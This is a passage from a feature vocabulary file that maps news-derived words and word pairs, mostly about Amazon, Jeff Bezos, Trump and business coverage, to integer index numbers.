110640, "analyst downgraded": 110641, "new deforestation": 110642, "cnn maintaining": 110643, "ellison sitting": 110644, "j5nvfsumpt pic": 110645, "tax changes": 110646, "crafted jewelry": 110647, "cit group": 110648, "downtown toronto": 110649, "confederate flag": 110650, "increases led": 110651, "trump vetoed": 110652, "shyam": 110653, "android powered": 110654, "wisconsin doled": 110655, "attorneys general": 110656, "strategy assuming": 110657, "canada takes": 110658, "budget official": 110659, "twain": 110660, "digit": 110661, "near constant": 110662, "burning": 110663, "recounted": 110664, "amid catcalls": 110665, "escaper buddy": 110666, "better leadership": 110667, "deeply uncomfortable": 110668, "supporting anti": 110669, "market trading": 110670, "parrythose sort": 110671, "highlights trump": 110672, "background": 110673, "esque form": 110674, "africa leave": 110675, "view 2019": 110676, "european commissioner": 110677, "chris goff": 110678, "cortez stating": 110679, "briefed": 110680, "respondents pocket": 110681, "mortal ish": 110682, "tweets haven": 110683, "keeping remarkable": 110684, "liberals": 110685, "charity revelations": 110686, "health ncosh": 110687, "buzzing": 110688, "create simple": 110689, "south africa": 110690, "reliably": 110691, "2018 washington": 110692, "amazon mining": 110693, "oppose legislative": 110694, "wickedly": 110695, "given lower": 110696, "570 million": 110697, "official statements": 110698, "team contributors": 110699, "rape murder": 110700, "wasn authorized": 110701, "paperwhite": 110702, "kids products": 110703, "company analyst": 110704, "geographies": 110705, "legislation repealed": 110706, "growth morgan": 110707, "chosen ricardo": 110708, "539": 110709, "german carmakers": 110710, "region eyes": 110711, "note cites": 110712, "mary rung": 110713, "confession cbs": 110714, "seuss": 110715, "wto talks": 110716, "criminal court": 110717, "casey malmquist": 110718, "million value": 110719, "amazon scroll": 110720, "publicly declared": 110721, "wade governor": 110722, "chairman marsha": 110723, "2019 edition": 110724, "richest american": 110725, "magical day": 110726, "weaker antitrust": 110727, "fulfil": 110728, "elect hillary": 110729, "kernen michael": 110730, "disclose goofy": 110731, "possibly estimate": 110732, "home photos": 110733, "profile expansion": 110734, "400 points": 110735, "pressure declining": 110736, "division contributed": 110737, "corporation reported": 110738, "spend liberal": 110739, "reporter tracks": 110740, "evening standard": 110741, "le mans": 110742, "criticizing fbi": 110743, "wow incredible": 110744, "rightly reasonably": 110745, "boycott retailers": 110746, "unpunished": 110747, "warehouse": 110748, "beetle kind": 110749, "republican run": 110750, "microsoft investors": 110751, "potus walked": 110752, "hack khashoggi": 110753, "countries clark": 110754, "bags": 110755, "bs_bullet_primary party": 110756, "shift millions": 110757, "quickly rounded": 110758, "hastily passed": 110759, "icymi stocks": 110760, "agency trump": 110761, "conditions don": 110762, "trump entertainment": 110763, "aberration": 110764, "sinclair network": 110765, "immediate comment": 110766, "jones": 110767, "service prices": 110768, "business chronically": 110769, "management announcing": 110770, "amazon given": 110771, "alleged extramarital": 110772, "multiple providers": 110773, "political pundits": 110774, "telling reporters": 110775, "eliminate distinctions": 110776, "debt does": 110777, "sheriff official": 110778, "doesn start": 110779, "college city": 110780, "moser personally": 110781, "alexis ohanian": 110782, "bilateral trade": 110783, "heir satire": 110784, "annual marketing": 110785, "invsts": 110786, "ruthless tide": 110787, "w0 r4ee": 110788, "sports zacks": 110789, "jobs including": 110790, "story outdoor": 110791, "customer says": 110792, "record words": 110793, "pressed usps": 110794, "london hong": 110795, "argument lina": 110796, "pickup": 110797, "dismantling major": 110798, "material impact": 110799, "reid source": 110800, "century progressives": 110801, "brazil vast": 110802, "pritzker state": 110803, "won special": 110804, "billion ariel": 110805, "online book": 110806, "644": 110807, "survives plane": 110808, "ultimately prove": 110809, "emergencies minutes": 110810, "housing complex": 110811, "years artificial": 110812, "fortune share": 110813, "barreto ag\u00eancia": 110814, "benicio": 110815, "fact surprising": 110816, "second concern": 110817, "sentences archive": 110818, "equity residential": 110819, "david rabinovitz": 110820, "darren": 110821, "mercedes": 110822, "easier lot": 110823, "refugee arrivals": 110824, "broader discussions": 110825, "generated buzz": 110826, "straight session": 110827, "currently supports": 110828, "biggs": 110829, "integrity staffing": 110830, "bezos ends": 110831, "pair haven": 110832, "unexpected way": 110833, "fastest developing": 110834, "sex assault": 110835, "life demonstration": 110836, "o8 function": 110837, "opponent new": 110838, "echo dot": 110839, "embattled amazon": 110840, "felt compelled": 110841, "lynch forever": 110842, "south pole": 110843, "headquarters": 110844, "aqms": 110845, "customers online": 110846, "alexa echo": 110847, "eastern countries": 110848, "tori": 110849, "250 cities": 110850, "jeff flake": 110851, "services latest": 110852, "spawned phenomenon": 110853, "organisation coffers": 110854, "sags package": 110855, "strings": 110856, "company 98point6": 110857, "cookbook": 110858, "declares war": 110859, "constantly giving": 110860, "collection responsibilities": 110861, "butt badly": 110862, "submitted proposals": 110863, "theodore roosevelt": 110864, "proshare": 110865, "care jv": 110866, "analysis performed": 110867, "closed door": 110868, "combined statista": 110869, "communities china": 110870, "meet growth": 110871, "grossed": 110872, "higher burden": 110873, "ecommerce": 110874, "investigation days": 110875, "libraries": 110876, "hand sovereignty": 110877, "seattle tried": 110878, "vest tony": 110879, "york group": 110880, "vaccine status": 110881, "world ahead": 110882, "quite different": 110883, "ran onewest": 110884, "vast political": 110885, "member leaked": 110886, "today looks": 110887, "vice premier": 110888, "prophetic word": 110889, "owns chain": 110890, "business doesn": 110891, "charlton sent": 110892, "violations google": 110893, "blasio tweet": 110894, "occ investigated": 110895, "tech software": 110896, "client agrees": 110897, "fiscal fourth": 110898, "deflected": 110899, "assigned names": 110900, "staffers decided": 110901, "preventing terrorist": 110902, "preliminary look": 110903, "quoting anonymous": 110904, "acquiring weapons": 110905, "skirting taxes": 110906, "competition bezos": 110907, "ascent": 110908, "fleeting": 110909, "perpetuation": 110910, "middle america": 110911, "helps bring": 110912, "nation entire": 110913, "firearms": 110914, "rich jared": 110915, "prevent bezos": 110916, "bell chip": 110917, "mania": 110918, "pakistan relations": 110919, "unless bezos": 110920, "power corporations": 110921, "area entrepreneurs": 110922, "chair told": 110923, "ardent supporter": 110924, "blog contained": 110925, "setfirstvideoincollection": 110926, "summer pecker": 110927, "paying dividend": 110928, "powerful reach": 110929, "customers financial": 110930, "killing negative": 110931, "date blofeld": 110932, "connected lobby": 110933, "summit later": 110934, "colleen": 110935, "jv": 110936, "shares jarislowsky": 110937, "nyc council": 110938, "spend building": 110939, "appease congress": 110940, "spokesperson kris": 110941, "9k mark": 110942, "brilliant ones": 110943, "donahoe weighs": 110944, "unregulated": 110945, "hasn updated": 110946, "endgame": 110947, "thankless fruitless": 110948, "love trump": 110949, "heuvel": 110950, "firearms confiscated": 110951, "viewing reporting": 110952, "international environmental": 110953, "york knicks": 110954, "refugees precisely": 110955, "enormous violator": 110956, "transferable skill": 110957, "fantastic": 110958, "competitions": 110959, "food journalism": 110960, "yeah moser": 110961, "taxpayers providing": 110962, "blog": 110963, "uphold agency": 110964, "merchandise sold": 110965, "388160 sortorder": 110966, "blog privacy": 110967, "indonesia": 110968, "dark ages": 110969, "kovrig": 110970, "billionaire peers": 110971, "politico poll": 110972, "netflix quincy": 110973, "sprint sources": 110974, "rice comments": 110975, "hidalgo": 110976, "affordability": 110977, "nasdaq omx": 110978, "developed bezos": 110979, "lutes characters": 110980, "mid": 110981, "model students": 110982, "visiting fulfillment": 110983, "nearly 840": 110984, "plus fulfillment": 110985, "thousand oaks": 110986, "west wing": 110987, "online businesses": 110988, "scandals loom": 110989, "sustainable investing": 110990, "editors pulled": 110991, "incredibly candid": 110992, "complicated": 110993, "stopped worrying": 110994, "albert lukas": 110995, "funding according": 110996, "early 1900s": 110997, "big cap": 110998, "turkey lola": 110999, "personas": 111000, "politicians feeling": 111001, "wilking trump": 111002, "wave": 111003, "basic answer": 111004, "existing trees": 111005, "great online": 111006, "magazine reported": 111007, "visit dem": 111008, "conspiracy published": 111009, "quarter herera": 111010, "conservatives boast": 111011, "supplier icon": 111012, "murder obtained": 111013, "refugee james": 111014, "different trademark": 111015, "southern gothic": 111016, "202 shares": 111017, "harming competition": 111018, "fastest appreciating": 111019, "powerful voting": 111020, "politicians merely": 111021, "matter contentious": 111022, "green nepalese": 111023, "protester job": 111024, "parent delivers": 111025, "charlottesville fiasco": 111026, "congress poised": 111027, "longest federal": 111028, "kudlow director": 111029, "independent fortune": 111030, "level homes": 111031, "investors agree": 111032, "free convenience": 111033, "jesse westbrook": 111034, "today edition": 111035, "reporting tool": 111036, "400 words": 111037, "protections indur": 111038, "area really": 111039, "assemblymembers": 111040, "twitter folks": 111041, "frequently mentioned": 111042, "cover natural": 111043, "independent investigative": 111044, "hour doesn": 111045, "closest economic": 111046, "warns wall": 111047, "cref": 111048, "e0": 111049, "avoiding bad": 111050, "cortez twitter": 111051, "genome": 111052, "hurt thank": 111053, "enforcement amazon": 111054, "recalibrate": 111055, "long winded": 111056, "grid travel": 111057, "putting": 111058, "lince": 111059, "information needed": 111060, "walmart clapped": 111061, "holidays npdholiday": 111062, "line today": 111063, "offices": 111064, "soon given": 111065, "pet bunny": 111066, "twitter crackdown": 111067, "mcallister": 111068, "guest linked": 111069, "car dealers": 111070, "mccain focused": 111071, "travel costco": 111072, "factory complex": 111073, "weekly talks": 111074, "putting food": 111075, "treats smaller": 111076, "movementx": 111077, "horrible behaviors": 111078, "kelly john": 111079, "prestashop": 111080, "destroy competition": 111081, "blair director": 111082, "usa hot": 111083, "multiple drugs": 111084, "oracle alleges": 111085, "senator scott": 111086, "billion deliveries": 111087, "program highlighted": 111088, "hackers 2018": 111089, "income year": 111090, "including crony": 111091, "secret ingredient": 111092, "returned uk": 111093, "corrupts absolutely": 111094, "occasionally cracked": 111095, "added wish": 111096, "impersonating amazon": 111097, "trusted institutions": 111098, "concerns government": 111099, "postage": 111100, "governor david": 111101, "mnuchin released": 111102, "work cut": 111103, "sarsour": 111104, "businessman visit": 111105, "numbed": 111106, "health brand": 111107, "insider businessinsider": 111108, "expressed optimism": 111109, "power companies": 111110, "habanero": 111111, "deadliest single": 111112, "iconic music": 111113, "fell": 111114, "ec2": 111115, "bearish bad": 111116, "viral strains": 111117, "confirmation flake": 111118, "takingplace": 111119, "france karamo": 111120, "far astray": 111121, "facebook executive": 111122, "traffic levels": 111123, "echo device": 111124, "acts emotionally": 111125, "hasn spent": 111126, "wing ding": 111127, "start effecting": 111128, "tweak": 111129, "seen explicit": 111130, "clean virginia": 111131, "lurks inside": 111132, "acadian asset": 111133, "makes powerful": 111134, "starbucks chief": 111135, "make purchases": 111136, "small shopkeepers": 111137, "cbs russia": 111138, "angela merkel": 111139, "business started": 111140, "discount tied": 111141, "murdoch bernie": 111142, "prunderground": 111143, "release recordings": 111144, "city homeless": 111145, "a4ee i8": 111146, "foods clash": 111147, "videos politics": 111148, "created diverse": 111149, "illegally microsoft": 111150, "formal inquiry": 111151, "crowdsourced": 111152, "ideas india": 111153, "cream shop": 111154, "zuker releases": 111155, "aside billion": 111156, "glory hungry": 111157, "documents reveal": 111158, "combat fake": 111159, "sarah halzack": 111160, "lower prices": 111161, "picture ap": 111162, "binyamin netanyahu": 111163, "cavuto live": 111164, "tribune ryan": 111165, "injured following": 111166, "kay henderson": 111167, "largest jobs": 111168, "geddes": 111169, "network mornings": 111170, "report warning": 111171, "breaks work": 111172, "zinke staffer": 111173, "athlete": 111174, "718 945": 111175, "bezos suspect": 111176, "electronic souk": 111177, "lcd": 111178, "dealbreaker dot": 111179, "brennan ex": 111180, "biotech billionaire": 111181, "sacred games": 111182, "buy stocks": 111183, "velcro": 111184, "blackmail efforts": 111185, "hour prime": 111186, "reduced fee": 111187, "depreciation tax": 111188, "sinclair changing": 111189, "course demanded": 111190, "incremental costs": 111191, "tesla mod": 111192, "learn german": 111193, "america main": 111194, "tin pot": 111195, "la lawyer": 111196, "thinks tyger": 111197, "advisers roger": 111198, "winning true": 111199, "likewise according": 111200, "kline stands": 111201, "headquarters police": 111202, "large retailer": 111203, "reporting butthis": 111204, "salting": 111205, "sanders caucuses": 111206, "kenosha county": 111207, "news far": 111208, "coverage playbook": 111209, "canvassing boards": 111210, "2018 income": 111211, "kron4 james": 111212, "joseph": 111213, "mexico": 111214, "gunshots": 111215, "withdrew": 111216, "using technology": 111217, "2007 double": 111218, "tells pymnts": 111219, "truth nation": 111220, "000 mail": 111221, "highest rent": 111222, "profit year": 111223, "cohen implicated": 111224, "ipo uber": 111225, "say 2018": 111226, "management customer": 111227, "thumbnail": 111228, "thing did": 111229, "faux model": 111230, "brauer": 111231, "gawker": 111232, "angie wang": 111233, "tomay": 111234, "scattershot": 111235, "collect new": 111236, "sending message": 111237, "internet fairness": 111238, "deal folly": 111239, "simply negotiation": 111240, "amazon case": 111241, "fruitful": 111242, "2016 100": 111243, "aljazeera": 111244, "sanctions story": 111245, "390": 111246, "right devices": 111247, "help residents": 111248, "installing cameras": 111249, "categories toys": 111250, "safety certified": 111251, "advertising businesses": 111252, "night results": 111253, "lidiane": 111254, "wayfair mem": 111255, "history ushering": 111256, "economic revival": 111257, "virginia home": 111258, "northeast section": 111259, "chinese shipping": 111260, "election firsts": 111261, "abortion just": 111262, "clear returns": 111263, "predictor": 111264, "journalists say": 111265, "dominion bank": 111266, "consultants technology": 111267, "order enter": 111268, "suiting": 111269, "beijing ambitions": 111270, "subpoena government": 111271, "objections": 111272, "limp": 111273, "story microsoft": 111274, "recent quarter": 111275, "nyt decision": 111276, "creeps": 111277, "automatic firearms": 111278, "north divorce": 111279, "calendar flips": 111280, "targeting 110": 111281, "company global": 111282, "advertising agencies": 111283, "says": 111284, "democrats steele": 111285, "hold children": 111286, "pheffer amato": 111287, "cymru iq": 111288, "insert": 111289, "inuit game": 111290, "masturbates": 111291, "elgin courier": 111292, "undeniably dynamic": 111293, "currently used": 111294, "wb": 111295, "plunkett president": 111296, "sneakers louis": 111297, "unexpected ways": 111298, "transferring": 111299, "fbi informant": 111300, "previously stated": 111301, "abramson describes": 111302, "explicit descriptions": 111303, "months worth": 111304, "davis coollikemiles": 111305, "foreclosures mounted": 111306, "musings": 111307, "b7a": 111308, "larger refund": 111309, "moon surface": 111310, "direct benefit": 111311, "attractions": 111312, "optimising": 111313, "message read": 111314, "comcast nasdaq": 111315, "moser think": 111316, "walmart experienced": 111317, "growth guidance": 111318, "really prosper": 111319, "refresher trump": 111320, "downtown seattle": 111321, "practice manikin": 111322, "visionaries": 111323, "inferential despite": 111324, "sincerely": 111325, "opened just": 111326, "trade unions": 111327, "responded forcefully": 111328, "video ads": 111329, "famously saying": 111330, "overturn": 111331, "skunk": 111332, "federation curses": 111333, "alibaba earned": 111334, "office earlier": 111335, "making profit": 111336, "idc alliance": 111337, "related half": 111338, "telephones": 111339, "videocollection": 111340, "ser": 111341, "525 billion": 111342, "cards told": 111343, "desmond lachman": 111344, "vendors": 111345, "shortened": 111346, "breathtakingly awful": 111347, "enforcing": 111348, "buys majority": 111349, "santa": 111350, "age delivered": 111351, "mind does": 111352, "johnson looks": 111353, "amazon math": 111354, "deep dive": 111355, "chairman joe": 111356, "argued harold": 111357, "campaign supervisors": 111358, "costs putting": 111359, "cravetv": 111360, "bezoses": 111361, "queens alongside": 111362, "amazon chart": 111363, "rosenberger": 111364, "media briefly": 111365, "word searches": 111366, "strike switzerland": 111367, "results raise": 111368, "message large": 111369, "pence united": 111370, "guidance capital": 111371, "communications chief": 111372, "uni global": 111373, "000 shops": 111374, "icymi google": 111375, "diffusing sack": 111376, "outed souder": 111377, "sanchez indicating": 111378, "cronyism hope": 111379, "holding corp": 111380, "ron wyden": 111381, "sulforaphane": 111382, "behavior including": 111383, "hunting": 111384, "modeling": 111385, "hotseat": 111386, "transitions": 111387, "entire oakland": 111388, "morning taking": 111389, "remain transfixed": 111390, "taking brave": 111391, "fund drive": 111392, "theorists": 111393, "harry peak": 111394, "chief paul": 111395, "lira collapse": 111396, "obama immigration": 111397, "amazon stores": 111398, "casino jobs": 111399, "photographer david": 111400, "badcustomerexperience onlineshopping": 111401, "fulfillment centers": 111402, "competitive landscape": 111403, "orient": 111404, "amazon operation": 111405, "refuted bezos": 111406, "improve conditions": 111407, "doorstep mail": 111408, "positive change": 111409, "official andrew": 111410, "estate bargains": 111411, "iphone obsolete": 111412, "hotel room": 111413, "harm corporate": 111414, "early start": 111415, "google builds": 111416, "texas border": 111417, "worldwide package": 111418, "best investment": 111419, "perceived american": 111420, "2635 101": 111421, "midtown new": 111422, "ad based": 111423, "prime ministers": 111424, "extensive revenues": 111425, "built war": 111426, "cloud operations": 111427, "zack colman": 111428, "000 migrants": 111429, "space exploration": 111430, "overplayed": 111431, "complete whitaker": 111432, "team led": 111433, "tank institute": 111434, "washington following": 111435, "charismatic": 111436, "monitor undocumented": 111437, "frenzy amazons": 111438, "minutes scheduled": 111439, "documents including": 111440, "ithink": 111441, "stab": 111442, "download film": 111443, "central television": 111444, "shares olivia": 111445, "photo film": 111446, "couple": 111447, "says twitter": 111448, "president clinton": 111449, "facebook pays": 111450, "463 million": 111451, "calif nearby": 111452, "juggernaut growing": 111453, "cilantro ice": 111454, "government contained": 111455, "told spain": 111456, "pro energy": 111457, "summer members": 111458, "market read": 111459, "selling foie": 111460, "bezos detractors": 111461, "wage did": 111462, "fruity": 111463, "1927 riddance": 111464, "official maybewasn": 111465, "gao hacked": 111466, "sordid": 111467, "build supportive": 111468, "parent sign": 111469, "books reach": 111470, "mao": 111471, "boots alliance": 111472, "shipping pact": 111473, "gorelick": 111474, "motivated ami": 111475, "blue hair": 111476, "hottest streetwear": 111477, "undercover raid": 111478, "shawn": 111479, "videogames": 111480, "operations impact": 111481, "affected amazon": 111482, "union european": 111483, "death sentence": 111484, "day getting": 111485, "davis pages": 111486, "financial difficulties": 111487, "amazon department": 111488, "425": 111489, "time allen": 111490, "president intense": 111491, "engine currently": 111492, "long lived": 111493, "perjury": 111494, "2018 year": 111495, "large organic": 111496, "reportedly oppressive": 111497, "husband whitesell": 111498, "reignite": 111499, "c000212486 c000214761": 111500, "clues": 111501, "washington mayor": 111502, "cnn additional": 111503, "big consequences": 111504, "smoke smoke": 111505, "cia chief": 111506, "include sanchez": 111507, "dire": 111508, "documenting": 111509, "notably physical": 111510, "wild week": 111511, "organization finances": 111512, "losses trump": 111513, "general services": 111514, "asking users": 111515, "executive meng": 111516, "ian bald": 111517, "based products": 111518, "gross domestic": 111519, "americans reaped": 111520, "bezos addresses": 111521, "better yes": 111522, "physical relationship": 111523, "lost economic": 111524, "online tool": 111525, "awesome": 111526, "court ipec": 111527, "overwhelmingly popular": 111528, "naples glob": 111529, "novartis": 111530, "red tagging": 111531, "housing development": 111532, "anna": 111533, "records obtained": 111534, "facebook cheap": 111535, "tgiles5": 111536, "anderson": 111537, "commerce totaled": 111538, "says thank": 111539, "secret military": 111540, "viable prospects": 111541, "brexit supporters": 111542, "don stick": 111543, "svc commission": 111544, "gay hispanic": 111545, "perform variety": 111546, "trail": 111547, "formatting": 111548, "data management": 111549, "dependency": 111550, "using data": 111551, "super contentious": 111552, "trolled president": 111553, "washington david": 111554, "sf demanding": 111555, "political drama": 111556, "cola ceo": 111557, "2018 talk": 111558, "mm 101": 111559, "videndslate removeclass": 111560, "ended quarter": 111561, "total available": 111562, "post helps": 111563, "years years": 111564, "phone settings": 111565, "promote pedophilia": 111566, "cheap shipping": 111567, "season debut": 111568, "union recommendations": 111569, "academic study": 111570, "trump assistant": 111571, "tow": 111572, "access 1868": 111573, "main aim": 111574, "total wealth": 111575, "imagealt seattle": 111576, "department": 111577, "hard pass": 111578, "canada manager": 111579, "beauty euro": 111580, "activism hit": 111581, "promote giving": 111582, "differentiates place": 111583, "toronto skyscraper": 111584, "fried chicken": 111585, "stitcher radio": 111586, "working cultures": 111587, "half monopoly": 111588, "cares david": 111589, "ct 548": 111590, "bloomberg antitrust": 111591, "growth perspective": 111592, "prison dems": 111593, "needed reminder": 111594, "met maximale": 111595, "deals eliminating": 111596, "good reagan": 111597, "fannie mae": 111598, "swift meet": 111599, "mining firm": 111600, "bradford check": 111601, "gregobagel amazon": 111602, "corey stewart": 111603, "access pacer": 111604, "2018 season": 111605, "bloomua king": 111606, "action adaptation": 111607, "important trump": 111608, "gawande wrote": 111609, "alien registration": 111610, "international offerings": 111611, "aggressively pursued": 111612, "nyt actually": 111613, "getting great": 111614, "canadian broadcasting": 111615, "information gathering": 111616, "promise service": 111617, "staff photo": 111618, "inventories": 111619, "gasp": 111620, "currently walmart": 111621, "impose civil": 111622, "pennyfarthing": 111623, "companies secure": 111624, "computing contractor": 111625, "girl wash": 111626, "assemblyman michael": 111627, "disaster funding": 111628, "deliver goods": 111629, "watch factors": 111630, "marine fighter": 111631, "bunny": 111632, "followed stories": 111633, "declaration congress": 111634, "bonds right": 111635, "effectively dead": 111636, "ateurobiz sheffieldissuper": 111637, "trump advisors": 111638, "recently target": 111639, "poliltical commentator": 111640, "trc0": 111641, "artificial christmas": 111642, "car brands": 111643, "remotely china": 111644, "amerika president": 111645, "dana perino": 111646, "summit congress": 111647, "dws investment": 111648, "greater antitrust": 111649, "antitrust allegations": 111650, "wristbands": 111651, "lorena bobbitt": 111652, "thomas reddick": 111653, "health disability": 111654, "powerpoint presentations": 111655, "mour\u00e3o": 111656, "committee plans": 111657, "tumble nearly": 111658, "games issa": 111659, "wide swaths": 111660, "jackson": 111661, "considerable presence": 111662, "signup delivery": 111663, "192 e8": 111664, "large internet": 111665, "competitor businesses": 111666, "hasn 8217": 111667, "richardson dwellings": 111668, "amazon arrangement": 111669, "industries according": 111670, "politician josep": 111671, "sent sanchez": 111672, "photographer andrew": 111673, "ian fleming": 111674, "workers panel": 111675, "photographs couple": 111676, "bezos man": 111677, "conversations convinced": 111678, "hippie sandals": 111679, "central americans": 111680, "train stop": 111681, "specific freedoms": 111682, "reporting isn": 111683, "stunt global": 111684, "subsidiary nbcuniversal": 111685, "gain extensive": 111686, "diapers carell": 111687, "person rep": 111688, "plays convicted": 111689, "airline prime": 111690, "land commission": 111691, "people member": 111692, "work trabajo": 111693, "keepers": 111694, "including drones": 111695, "moscow prompted": 111696, "truly horrible": 111697, "sports fan": 111698, "campaign make": 111699, "184 ken": 111700, "won work": 111701, "circulating": 111702, "additionally variations": 111703, "enquirer absurd": 111704, "krichiver synagogue": 111705, "addition markets": 111706, "student climate": 111707, "pagourtzis reportedly": 111708, "treatment people": 111709, "dispute": 111710, "cctv body": 111711, "finds impeachable": 111712, "sorta secure": 111713, "foundation think": 111714, "profits records": 111715, "department lawsuit": 111716, "book proof": 111717, "specifically suggested": 111718, "cleveland plain": 111719, "atvi": 111720, "t5q 128": 111721, "taking sides": 111722, "demonic satanic": 111723, "commerce era": 111724, "traditional lengthy": 111725, "caused pronounced": 111726, "evan goldberg": 111727, "designer brother": 111728, "deal latertoday": 111729, "turning_point_taylor_collins_poster_600_387892": 111730, "offered proof": 111731, "governor billy": 111732, "newsgathering": 111733, "trail fact": 111734, "diego synagogue": 111735, "exclusive model": 111736, "diversification key": 111737, "shared details": 111738, "placating response": 111739, "long distances": 111740, "sergeants benevolent": 111741, "office chairs": 111742, "tjl domain": 111743, "story thanks": 111744, "petition": 111745, "spring consumer": 111746, "greenspan": 111747, "domestic export": 111748, "nazis promoted": 111749, "financial group": 111750, "include tesla": 111751, "devices just": 111752, "include online": 111753, "trend provided": 111754, "enforcement defense": 111755, "report wrongdoing": 111756, "delong boeing": 111757, "uncorroborated": 111758, "trump removal": 111759, "characters used": 111760, "sickening": 111761, "replace kennedy": 111762, "total investment": 111763, "bezos donates": 111764, "crawling": 111765, "imported": 111766, "california net": 111767, "large netflix": 111768, "sparked anti": 111769, "sensational theory": 111770, "obtained 300": 111771, "competitive regulators": 111772, "pearlstein wrote": 111773, "startled": 111774, "natl bank": 111775, "mark polizzotti": 111776, "jamey": 111777, "poor deals": 111778, "follows pattern": 111779, "different vision": 111780, "annual": 111781, "spark lawsuits": 111782, "tm disclose": 111783, "barker": 111784, "stores right": 111785, "congress applauded": 111786, "kavanaugh yelled": 111787, "say follow": 111788, "year olds": 111789, "horrifying human": 111790, "amazon ai": 111791, "clooney": 111792, "clienty screenx": 111793, "denim": 111794, "danish": 111795, "credit nancy": 111796, "inc_custom_css null": 111797, "american ebitda": 111798, "turbine": 111799, "dhl metro": 111800, "nasdaq orcl": 111801, "reference broader": 111802, "giant boeing": 111803, "ethics debacle": 111804, "trillion president": 111805, "staff cnnmoney": 111806, "relelased stories": 111807, "technology terrorism": 111808, "work pluck": 111809, "quarterly reporting": 111810, "political foes": 111811, "narratives google": 111812, "seen including": 111813, "connolly wrote": 111814, "square kiss": 111815, "typical worker": 111816, "offers nonfiction": 111817, "opinion quinnipiac": 111818, "trail nomadix": 111819, "tal": 111820, "threshold": 111821, "safety privacy": 111822, "circles khashoggi": 111823, "visited chicago": 111824, "tobinben": 111825, "meeting discussions": 111826, "america company": 111827, "property appraiser": 111828, "stalled fortune": 111829, "constituted": 111830, "536 reduced": 111831, "md rick": 111832, "religious order": 111833, "colleges": 111834, "industrial": 111835, "deterred": 111836, "turd": 111837, "speculation began": 111838, "terrestrial stores": 111839, "rapidly escalated": 111840, "birthdays caa": 111841, "oatmeal snacks": 111842, "age people": 111843, "alarming amazon": 111844, "slipping ahead": 111845, "ecommerce site": 111846, "complaint bezos": 111847, "chosen hq2": 111848, "soon threatened": 111849, "donning trump": 111850, "reality reinstate": 111851, "mobile wallets": 111852, "advise": 111853, "ratajkowski": 111854, "person hanging": 111855, "today city": 111856, "sebastian senior": 111857, "intelligence turing": 111858, "rochester": 111859, "kid versions": 111860, "source joe": 111861, "hour snowfall": 111862, "deal veto": 111863, "konst satc": 111864, "diseases": 111865, "candy kelly": 111866, "raw power": 111867, "expanded drink": 111868, "enquirer shows": 111869, "elections warren": 111870, "half truths": 111871, "contrast offers": 111872, "regulatory sway": 111873, "negotiating better": 111874, "damaging ballot": 111875, "spiked 181": 111876, "sunscreen": 111877, "predictable marriage": 111878, "million credit": 111879, "include probe": 111880, "juul thank": 111881, "film streaming": 111882, "angeles capital": 111883, "rips": 111884, "video titled": 111885, "time monopolistic": 111886, "zombie apocalypse": 111887, "wording": 111888, "inadequate pay": 111889, "2018 antonio": 111890, "good sellers": 111891, "notification resulted": 111892, "wa workers": 111893, "1062349739600044033": 111894, "daughter": 111895, "jeanine pirro": 111896, "nita": 111897, "inventory cars": 111898, "mrl": 111899, "foundation gates": 111900, "buckingham asset": 111901, "areas bezos": 111902, "huffingtonpost londonthenews": 111903, "boycott recently": 111904, "sanders specifically": 111905, "erupt": 111906, "cameras started": 111907, "publish photos": 111908, "profitable customers": 111909, "weekly game": 111910, "gass reader": 111911, "stormzy attend": 111912, "badger bezos": 111913, "nick saban": 111914, "amazon apple": 111915, "transfer wealth": 111916, "happy valentine": 111917, "time historically": 111918, "year cloud": 111919, "fox harris": 111920, "unseat": 111921, "owner jeffrey": 111922, "serviceincreased": 111923, "trump miracle": 111924, "woes drag": 111925, "interesting morning": 111926, "later gone": 111927, "light confirming": 111928, "great heights": 111929, "based echo": 111930, "saturdaynight": 111931, "heptio told": 111932, "democrats path": 111933, "teammoya": 111934, "craig russell": 111935, "important documentarian": 111936, "ambitious controversial": 111937, "canyon": 111938, "convenient commerce": 111939, "buyer recent": 111940, "a2 var": 111941, "juggernaut": 111942, "surveillance bezos": 111943, "kareem": 111944, "black plastic": 111945, "desk manned": 111946, "prentice": 111947, "cancel automatic": 111948, "federal gift": 111949, "losing jobs": 111950, "soften": 111951, "amazons stock": 111952, "exchange required": 111953, "incidentally doesn": 111954, "sees worst": 111955, "women human": 111956, "23am": 111957, "pipeline": 111958, "subsidize": 111959, "agency amazon": 111960, "permitted": 111961, "house effort": 111962, "benefit costs": 111963, "attempt detailed": 111964, "msnbc follow": 111965, "existence": 111966, "finding freedom": 111967, "using accounting": 111968, "knockoff listings": 111969, "ago ibm": 111970, "science spelling": 111971, "fell facebook": 111972, "america\u00e2 health": 111973, "illeana douglas": 111974, "dershowitz wrote": 111975, "bizarre new": 111976, "little plastic": 111977, "sees super": 111978, "evelyn": 111979, "seattle technology": 111980, "maker says": 111981, "market capitalisation": 111982, "electronics introduces": 111983, "commercial rents": 111984, "corp lobbied": 111985, "action romance": 111986, "house representative": 111987, "consider google": 111988, "giant sanders": 111989, "good example": 111990, "confirmation amazon": 111991, "house written": 111992, "cable management": 111993, "linking": 111994, "virtual assistant": 111995, "summit plus": 111996, "contested area": 111997, "change skepticism": 111998, "protestant": 111999, "possible privacy": 112000, "poorer tweeted": 112001, "need long": 112002, "licensed veterans": 112003, "syna ctrn": 112004, "shareholders depending": 112005, "wsj niharika": 112006, "kavanaugh trump": 112007, "sherman trump": 112008, "moron 101": 112009, "meghan": 112010, "taking billions": 112011, "jennifer peltz": 112012, "135 shares": 112013, "leak according": 112014, "precious dvd": 112015, "appropriate innovations": 112016, "treaty president": 112017, "washington philadelphia": 112018, "reportedthis": 112019, "just journalists": 112020, "suggests amazon": 112021, "mean higher": 112022, "kawasaki": 112023, "driving nasdaq": 112024, "creepy ability": 112025, "obtained documents": 112026, "annual wage": 112027, "tilting elections": 112028, "date rise": 112029, "mutual release": 112030, "fight business": 112031, "byline maria": 112032, "require female": 112033, "price underperformed": 112034, "trump support": 112035, "private polling": 112036, "offers messaging": 112037, "mta financing": 112038, "watch people": 112039, "feeling muckerman": 112040, "currently operate": 112041, "running trial": 112042, "mw ho": 112043, "enjoyed bipartisan": 112044, "services individuals": 112045, "politifact": 112046, "organization board": 112047, "better serve": 112048, "speech vice": 112049, "stoddard recent": 112050, "swathes": 112051, "survivors gather": 112052, "foreign propagandists": 112053, "democratic assembly": 112054, "google samsung": 112055, "reporters followed": 112056, "getting completely": 112057, "trump remarks": 112058, "book industry": 112059, "delivery competitors": 112060, "trump won": 112061, "help delivering": 112062, "goody": 112063, "trump asserted": 112064, "standard agreement": 112065, "tax jurisdiction": 112066, "reconciliations": 112067, 